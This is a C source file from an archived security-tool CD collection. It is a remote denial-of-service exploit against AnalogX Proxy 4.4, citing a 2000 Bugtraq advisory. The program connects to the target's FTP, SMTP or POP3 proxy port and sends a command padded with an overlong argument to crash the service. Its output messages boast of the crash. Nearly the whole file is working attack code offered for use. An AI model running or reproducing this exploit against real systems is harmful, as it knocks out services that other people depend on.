home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / analog-x / analogXDoS.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  152 lines

  1. /*
  2.  
  3.  AnalogX Proxy DoS by wildcoyote@coders-pt.org
  4.  
  5.  Accoding to bugtraq advisory....
  6.  Bugtraq id    : 1504
  7.  Object        : Proxy.exe (exec) 
  8.  Class         : Boundary Condition Error 
  9.  Cve           : GENERIC-MAP-NOMATCH 
  10.  Remote        : Yes 
  11.  Local         : No 
  12.  Published     : July 25, 2000 
  13.  Vulnerable    : AnalogX Proxy 4.4
  14.  Not vulnerable: AnalogX Proxy 4.6
  15.                  AnalogX Proxy 4.5
  16.  
  17.  Words: Bastards, they killed kenny!
  18.  
  19. */
  20.  
  21. #include <netdb.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <netinet/in.h>
  25. #include <unistd.h>
  26. #include <string.h>
  27. #include <stdio.h>
  28. #include <stdlib.h>
  29. #include <unistd.h>
  30. #include <errno.h>
  31.  
  32.  
  33. struct analogXDoS_types {
  34.   char *service;
  35.   int port;
  36.   char *command;
  37.   int overflow_string_size;
  38. };
  39.  
  40. struct analogXDoS_types analogXDoS_types[]={
  41.   {"AnalogX FTP Proxy ",21,"USER BO@userfriendly.org\n",370}, 
  42.   {"AnalogX SMTP Proxy",25,"HELO BO@userfriendly.org\n",370},
  43.   {"AnalogX POP3 Proxy",110,"USER BO@userfriendly.org\n",370},
  44.   {NULL,0,NULL,0}
  45. };
  46.  
  47.  
  48.  
  49. int
  50. openhost(char *host,int port) {
  51.    int sock;
  52.    struct sockaddr_in addr;
  53.    struct hostent *he;
  54.    he=gethostbyname(host);
  55.    if (he==NULL) return -1;
  56.    sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
  57.    if (sock==-1) return -1;
  58.    memcpy(&addr.sin_addr, he->h_addr, he->h_length);
  59.    addr.sin_family=AF_INET;
  60.    addr.sin_port=htons(port);
  61.    if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
  62.    return sock;
  63. }
  64.  
  65. void
  66. sends(int sock,char *buf) {
  67.   write(sock,buf,strlen(buf));
  68. }
  69.  
  70. void
  71. analogXcrash(char *host, int type)
  72. {
  73.  char *buf;
  74.  int sock, i, x, buffer_size;
  75.  printf("Type Number: %d\n",type);
  76.  printf("Service    : %s\n",analogXDoS_types[type].service);
  77.  printf("Port       : %d\n",analogXDoS_types[type].port);
  78.  printf("Let the show begin ladyes...\n");
  79.  printf("Connecting to %s [%d]...",host,analogXDoS_types[type].port);
  80.  sock=openhost(host,analogXDoS_types[type].port);
  81.  if (sock==-1)
  82.  {
  83.   printf("FAILED!\n");
  84.   printf("Couldnt connect...leaving :|\n\n");
  85.   exit(-1);
  86.  }
  87.  printf("SUCCESS!\n");
  88.  printf("Allocating memory for buffer...");
  89.  buffer_size=(strlen(analogXDoS_types[type].command)
  90.              +
  91.              analogXDoS_types[type].overflow_string_size);
  92.  if (!(buf=malloc(buffer_size)))
  93.  {
  94.   printf("FAILED!\n");
  95.   printf("Leaving... :[\n\n");
  96.   exit(-1);
  97.  }
  98.  printf("WORKED! (heh)\n");
  99.  for(i=0;;i++)
  100.   if ((analogXDoS_types[type].command[i]=='B') &&
  101.       (analogXDoS_types[type].command[i+1]=='O')) break;
  102.   else buf[i]=analogXDoS_types[type].command[i];
  103.  for(x=0;x<analogXDoS_types[type].overflow_string_size;x++) strcat(buf,"X");
  104.  i+=2;
  105.  for(;i<strlen(analogXDoS_types[type].command);i++)
  106.     buf[strlen(buf)]=analogXDoS_types[type].command[i];
  107.  printf("Sending EVIL buffer ;)\n");
  108.  sends(sock,buf);
  109.  close(sock);
  110.  printf("Heh...that host should be a gonner by now ;)\n");
  111.  printf("Was it good for you to? :)\n\n");
  112. }
  113.  
  114. void
  115. show_types()
  116. {
  117.  int i;
  118.  for(i=0;;i++)
  119.  {
  120.   if (analogXDoS_types[i].service==NULL) break;
  121.   printf("Type Number: %d\nService : %s Port : %d Overflow string size : %d\n",i
  122.         ,analogXDoS_types[i].service
  123.         ,analogXDoS_types[i].port
  124.         ,analogXDoS_types[i].overflow_string_size);
  125.  }
  126. }
  127.  
  128. main(int argc, char *argv[])
  129. {
  130.  int i;
  131.  // lets keep on (int) var i the number of types ;)
  132.  for(i=0;;i++) if (analogXDoS_types[i].service==NULL) break;
  133.  i--; // oh my god, cant forget that'array[0] thingie! :))
  134.  printf("\n\t\tAnalogX Proxy v4.4 DoS by wildcoyote@coders-pt.org\n\n");
  135.  if (argc<3) {
  136.     printf("Sintaxe: %s <host> <type number> [port]\n",argv[0]);
  137.     show_types();
  138.     printf("\n*Enjoy*...\n\n");
  139.  }
  140.  else if (atoi(argv[2])<=i)
  141.        if (argc==3) analogXcrash(argv[1],atoi(argv[2]));
  142.        else {
  143.            analogXDoS_types[atoi(argv[2])].port=atoi(argv[3]);
  144.            analogXcrash(argv[1],atoi(argv[2]));
  145.        }
  146.       else
  147.       {
  148.         printf("Invalid type value (max type=%d)\n",i);
  149.         printf("Type %s for more information :)\n\n",argv[0]);
  150.       }
  151. }
  152.